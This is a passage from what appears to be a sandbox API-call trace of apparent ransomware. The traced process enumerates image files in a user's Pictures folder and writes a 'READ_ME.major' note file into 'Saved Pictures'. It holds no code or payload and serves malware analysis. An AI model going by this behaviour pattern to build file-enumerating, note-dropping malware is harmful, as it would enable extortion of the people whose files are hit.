cAlternateFileName="")) returned 1 [0148.111] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0148.111] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0148.111] GetLastError () returned 0x0 [0148.111] SetLastError (dwErrCode=0x0) [0148.111] GetLastError () returned 0x0 [0148.111] SetLastError (dwErrCode=0x0) [0148.111] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6d28 [0148.111] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0148.111] GetLastError () returned 0x0 [0148.111] SetLastError (dwErrCode=0x0) [0148.111] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.112] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.112] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be9a0 [0148.112] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaebe2730, ftCreationTime.dwHighDateTime=0x1d4cbdf, ftLastAccessTime.dwLowDateTime=0x8ebf0570, ftLastAccessTime.dwHighDateTime=0x1d4c8bb, ftLastWriteTime.dwLowDateTime=0x8ebf0570, ftLastWriteTime.dwHighDateTime=0x1d4c8bb, nFileSizeHigh=0x0, nFileSizeLow=0x5060, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="lQfq5RF5oD CIf42xlmq.png", cAlternateFileName="LQFQ5R~1.PNG")) returned 1 [0148.112] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6d28 | out: hHeap=0x570000) returned 1 [0148.112] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0148.112] GetLastError () returned 0x0 [0148.112] SetLastError (dwErrCode=0x0) [0148.112] GetLastError () returned 0x0 [0148.112] SetLastError (dwErrCode=0x0) [0148.112] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0148.112] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0148.112] GetLastError () returned 0x0 [0148.112] SetLastError (dwErrCode=0x0) [0148.112] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0148.112] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0148.112] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x631280 [0148.112] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac1d9c10, ftCreationTime.dwHighDateTime=0x1d4c908, ftLastAccessTime.dwLowDateTime=0xe1b8ab90, ftLastAccessTime.dwHighDateTime=0x1d4d4f1, ftLastWriteTime.dwLowDateTime=0xe1b8ab90, ftLastWriteTime.dwHighDateTime=0x1d4d4f1, nFileSizeHigh=0x0, nFileSizeLow=0xbbb2, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="npGXzodWp02NsTr.gif", cAlternateFileName="NPGXZO~1.GIF")) returned 1 [0148.112] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0148.112] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0148.112] GetLastError () returned 0x0 [0148.112] SetLastError (dwErrCode=0x0) [0148.112] GetLastError () returned 0x0 [0148.112] SetLastError (dwErrCode=0x0) [0148.112] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0148.112] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0148.112] GetLastError () returned 0x0 [0148.113] SetLastError (dwErrCode=0x0) [0148.113] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ebd8 [0148.113] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ebd8 | out: hHeap=0x570000) returned 1 [0148.113] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x6312e8 [0148.113] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85d31160, ftCreationTime.dwHighDateTime=0x1d4cd5a, ftLastAccessTime.dwLowDateTime=0x72094550, ftLastAccessTime.dwHighDateTime=0x1d4d1ab, ftLastWriteTime.dwLowDateTime=0x72094550, ftLastWriteTime.dwHighDateTime=0x1d4d1ab, nFileSizeHigh=0x0, nFileSizeLow=0x13b11, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="P30d2y0Jh1-.gif", cAlternateFileName="P30D2Y~1.GIF")) returned 1 [0148.113] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0148.113] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0148.113] GetLastError () returned 0x0 [0148.113] SetLastError (dwErrCode=0x0) [0148.113] GetLastError () returned 0x0 [0148.113] SetLastError (dwErrCode=0x0) [0148.113] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0148.113] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0148.113] GetLastError () returned 0x0 [0148.113] SetLastError (dwErrCode=0x0) [0148.113] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.113] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.113] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be8f0 [0148.113] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f5a1ca0, ftCreationTime.dwHighDateTime=0x1d4cd8d, ftLastAccessTime.dwLowDateTime=0xe6224f50, ftLastAccessTime.dwHighDateTime=0x1d4cef3, ftLastWriteTime.dwLowDateTime=0xe6224f50, ftLastWriteTime.dwHighDateTime=0x1d4cef3, nFileSizeHigh=0x0, nFileSizeLow=0xf7cf, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Pdo cOU.jpg", cAlternateFileName="PDOCOU~1.JPG")) returned 1 [0148.113] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0148.113] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0148.113] GetLastError () returned 0x0 [0148.113] SetLastError (dwErrCode=0x0) [0148.113] GetLastError () returned 0x0 [0148.113] SetLastError (dwErrCode=0x0) [0148.113] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0148.113] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0148.113] GetLastError () returned 0x0 [0148.113] SetLastError (dwErrCode=0x0) [0148.113] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589b30 [0148.113] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589b30 | out: hHeap=0x570000) returned 1 [0148.114] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beb58 [0148.114] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cde7310, ftCreationTime.dwHighDateTime=0x1d4ca99, ftLastAccessTime.dwLowDateTime=0x7c27a150, ftLastAccessTime.dwHighDateTime=0x1d4d3cf, ftLastWriteTime.dwLowDateTime=0x7c27a150, ftLastWriteTime.dwHighDateTime=0x1d4d3cf, nFileSizeHigh=0x0, nFileSizeLow=0xfa5c, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="qBj3Gs-f.gif", cAlternateFileName="")) returned 1 [0148.114] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0148.114] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0148.114] GetLastError () returned 0x0 [0148.114] SetLastError (dwErrCode=0x0) [0148.114] GetLastError () returned 0x0 [0148.114] SetLastError (dwErrCode=0x0) [0148.114] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0148.114] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0148.114] GetLastError () returned 0x0 [0148.114] SetLastError (dwErrCode=0x0) [0148.114] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5899c8 [0148.114] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5899c8 | out: hHeap=0x570000) returned 1 [0148.114] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be4d0 [0148.114] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4865be20, ftCreationTime.dwHighDateTime=0x1d4ce06, ftLastAccessTime.dwLowDateTime=0xcd484130, ftLastAccessTime.dwHighDateTime=0x1d4cdbb, ftLastWriteTime.dwLowDateTime=0xcd484130, ftLastWriteTime.dwHighDateTime=0x1d4cdbb, nFileSizeHigh=0x0, nFileSizeLow=0xe59, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="QzcX.jpg", cAlternateFileName="")) returned 1 [0148.114] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0148.114] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0148.114] GetLastError () returned 0x0 [0148.114] SetLastError (dwErrCode=0x0) [0148.114] GetLastError () returned 0x0 [0148.114] SetLastError (dwErrCode=0x0) [0148.114] GetLastError () returned 0x0 [0148.114] SetLastError (dwErrCode=0x0) [0148.114] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.114] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.114] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0148.114] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x152aa46e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x152aa46e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x16e61c1a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0148.114] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0148.114] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0148.114] GetLastError () returned 0x0 [0148.114] SetLastError (dwErrCode=0x0) [0148.114] GetLastError () returned 0x0 [0148.114] SetLastError (dwErrCode=0x0) [0148.114] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0148.114] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0148.114] GetLastError () returned 0x0 [0148.115] SetLastError (dwErrCode=0x0) [0148.115] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589b30 [0148.115] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589b30 | out: hHeap=0x570000) returned 1 [0148.115] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3f51960, ftCreationTime.dwHighDateTime=0x1d4c867, ftLastAccessTime.dwLowDateTime=0x60100810, ftLastAccessTime.dwHighDateTime=0x1d4d31e, ftLastWriteTime.dwLowDateTime=0x60100810, ftLastWriteTime.dwHighDateTime=0x1d4d31e, nFileSizeHigh=0x0, nFileSizeLow=0x7652, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="rFUsfA-MWT.jpg", cAlternateFileName="RFUSFA~1.JPG")) returned 1 [0148.115] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0148.115] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0148.115] GetLastError () returned 0x0 [0148.115] SetLastError (dwErrCode=0x0) [0148.115] GetLastError () returned 0x0 [0148.115] SetLastError (dwErrCode=0x0) [0148.115] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0148.115] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0148.115] GetLastError () returned 0x0 [0148.115] SetLastError (dwErrCode=0x0) [0148.115] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589b30 [0148.115] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589b30 | out: hHeap=0x570000) returned 1 [0148.115] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bebb0 [0148.115] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8bffc0, ftCreationTime.dwHighDateTime=0x1d4c828, ftLastAccessTime.dwLowDateTime=0x470b1760, ftLastAccessTime.dwHighDateTime=0x1d4d1fc, ftLastWriteTime.dwLowDateTime=0x470b1760, ftLastWriteTime.dwHighDateTime=0x1d4d1fc, nFileSizeHigh=0x0, nFileSizeLow=0xf26e, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="rMEczP-gjZm14XX.jpg", cAlternateFileName="RMECZP~1.JPG")) returned 1 [0148.115] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0148.115] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0148.115] GetLastError () returned 0x0 [0148.115] SetLastError (dwErrCode=0x0) [0148.115] GetLastError () returned 0x0 [0148.115] SetLastError (dwErrCode=0x0) [0148.115] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0148.115] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0148.115] GetLastError () returned 0x0 [0148.115] SetLastError (dwErrCode=0x0) [0148.115] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e900 [0148.115] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e900 | out: hHeap=0x570000) returned 1 [0148.115] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x631350 [0148.116] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f6f810, ftCreationTime.dwHighDateTime=0x1d4c9de, ftLastAccessTime.dwLowDateTime=0x616a0ee0, ftLastAccessTime.dwHighDateTime=0x1d4c69e, ftLastWriteTime.dwLowDateTime=0x616a0ee0, ftLastWriteTime.dwHighDateTime=0x1d4c69e, nFileSizeHigh=0x0, nFileSizeLow=0xaf87, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="rMNu_aSp1JkhZR_.png", cAlternateFileName="RMNU_A~1.PNG")) returned 1 [0148.116] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0148.116] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0148.116] GetLastError () returned 0x0 [0148.116] SetLastError (dwErrCode=0x0) [0148.116] GetLastError () returned 0x0 [0148.116] SetLastError (dwErrCode=0x0) [0148.116] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0148.116] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0148.116] GetLastError () returned 0x0 [0148.116] SetLastError (dwErrCode=0x0) [0148.116] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ebd8 [0148.116] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ebd8 | out: hHeap=0x570000) returned 1 [0148.116] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x6313b8 [0148.116] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38ef1a10, ftCreationTime.dwHighDateTime=0x1d4d3cc, ftLastAccessTime.dwLowDateTime=0x89a1a990, ftLastAccessTime.dwHighDateTime=0x1d4cabd, ftLastWriteTime.dwLowDateTime=0x89a1a990, ftLastWriteTime.dwHighDateTime=0x1d4cabd, nFileSizeHigh=0x0, nFileSizeLow=0x1119d, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="s1kxL5OunrcXaw.bmp", cAlternateFileName="S1KXL5~1.BMP")) returned 1 [0148.116] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0148.116] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0148.116] GetLastError () returned 0x0 [0148.116] SetLastError (dwErrCode=0x0) [0148.116] GetLastError () returned 0x0 [0148.116] SetLastError (dwErrCode=0x0) [0148.116] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0148.116] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0148.116] GetLastError () returned 0x0 [0148.116] SetLastError (dwErrCode=0x0) [0148.116] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed28 [0148.116] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed28 | out: hHeap=0x570000) returned 1 [0148.116] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x630da0 [0148.116] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4e37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Saved Pictures", cAlternateFileName="SAVEDP~1")) returned 1 [0148.117] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0148.117] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7720 [0148.117] GetLastError () returned 0x0 [0148.117] SetLastError (dwErrCode=0x0) [0148.117] GetLastError () returned 0x0 [0148.117] SetLastError (dwErrCode=0x0) [0148.117] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0148.117] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7720 | out: hHeap=0x570000) returned 1 [0148.117] GetLastError () returned 0x0 [0148.117] SetLastError (dwErrCode=0x0) [0148.117] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5899c8 [0148.117] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589b30 [0148.117] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5899c8 | out: hHeap=0x570000) returned 1 [0148.117] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589b30 | out: hHeap=0x570000) returned 1 [0148.117] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bec08 [0148.117] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589b30 [0148.117] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bec60 [0148.117] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0148.117] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d240 [0148.117] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0148.117] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0148.117] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0148.117] GetLastError () returned 0x0 [0148.117] SetLastError (dwErrCode=0x0) [0148.117] GetLastError () returned 0x0 [0148.117] SetLastError (dwErrCode=0x0) [0148.117] GetLastError () returned 0x0 [0148.118] SetLastError (dwErrCode=0x0) [0148.118] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde20 [0148.118] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\Saved Pictures\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\pictures\\saved pictures\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.118] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde20 | out: hHeap=0x570000) returned 1 [0148.118] WriteFile (in: hFile=0x600, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0148.119] CloseHandle (hObject=0x600) returned 1 [0148.119] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0148.119] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d240 | out: hHeap=0x570000) returned 1 [0148.119] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0148.120] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bec60 | out: hHeap=0x570000) returned 1 [0148.120] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c1f2d00, ftCreationTime.dwHighDateTime=0x1d4d05f, ftLastAccessTime.dwLowDateTime=0x5fd32fa0, ftLastAccessTime.dwHighDateTime=0x1d4c7b9, ftLastWriteTime.dwLowDateTime=0x5fd32fa0, ftLastWriteTime.dwHighDateTime=0x1d4c7b9, nFileSizeHigh=0x0, nFileSizeLow=0xb9f0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="tnMrQ F4q2YGrF.bmp", cAlternateFileName="TNMRQF~1.BMP")) returned 1 [0148.120] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0148.120] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0148.120] GetLastError () returned 0x0 [0148.120] SetLastError (dwErrCode=0x0) [0148.120] GetLastError () returned 0x0 [0148.120] SetLastError (dwErrCode=0x0) [0148.120] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0148.120] GetLastError () returned 0x0 [0148.120] SetLastError (dwErrCode=0x0) [0148.120] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea88 | out: hHeap=0x570000) returned 1 [0148.120] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf16e8f0, ftCreationTime.dwHighDateTime=0x1d4cda3, ftLastAccessTime.dwLowDateTime=0xe0ff48d0, ftLastAccessTime.dwHighDateTime=0x1d4d28f, ftLastWriteTime.dwLowDateTime=0xe0ff48d0, ftLastWriteTime.dwHighDateTime=0x1d4d28f, nFileSizeHigh=0x0, nFileSizeLow=0x177e3, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="T_Uksl3tkzyzZ0KXQj.gif", cAlternateFileName="T_UKSL~1.GIF")) returned 1 [0148.120] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0148.120] GetLastError () returned 0x0 [0148.120] SetLastError (dwErrCode=0x0) [0148.120] GetLastError () returned 0x0 [0148.120] SetLastError (dwErrCode=0x0) [0148.120] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0148.120] GetLastError () returned 0x0 [0148.120] SetLastError (dwErrCode=0x0) [0148.120] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eaf8 | out: hHeap=0x570000) returned 1 [0148.121] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x644d4a10, ftCreationTime.dwHighDateTime=0x1d4cee0, ftLastAccessTime.dwLowDateTime=0x9c0190b0, ftLastAccessTime.dwHighDateTime=0x1d4d5a7, ftLastWriteTime.dwLowDateTime=0x9c0190b0, ftLastWriteTime.dwHighDateTime=0x1d4d5a7, nFileSizeHigh=0x0, nFileSizeLow=0x253f, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ULudUyN.jpg", cAlternateFileName="")) returned 1 [0148.121] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0148.121] GetLastError () returned 0x0 [0148.121] SetLastError (dwErrCode=0x0) [0148.121] GetLastError () returned 0x0 [0148.121] SetLastError (dwErrCode=0x0) [0148.121] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0148.121] GetLastError () returned 0x0 [0148.121] SetLastError (dwErrCode=0x0) [0148.121] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589978 | out: hHeap=0x570000) returned 1 [0148.121] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa51c4cc0, ftCreationTime.dwHighDateTime=0x1d4cf22, ftLastAccessTime.dwLowDateTime=0x3fcce870, ftLastAccessTime.dwHighDateTime=0x1d4d42c, ftLastWriteTime.dwLowDateTime=0x3fcce870, ftLastWriteTime.dwHighDateTime=0x1d4d42c, nFileSizeHigh=0x0, nFileSizeLow=0x6f91, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="wyBDIM.gif", cAlternateFileName="")) returned 1 [0148.121] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0148.121] GetLastError () returned 0x0 [0148.121] SetLastError (dwErrCode=0x0) [0148.121] GetLastError () returned 0x0 [0148.121] SetLastError (dwErrCode=0x0) [0148.121] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0148.121] GetLastError () returned 0x0 [0148.121] SetLastError (dwErrCode=0x0) [0148.121] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589978 | out: 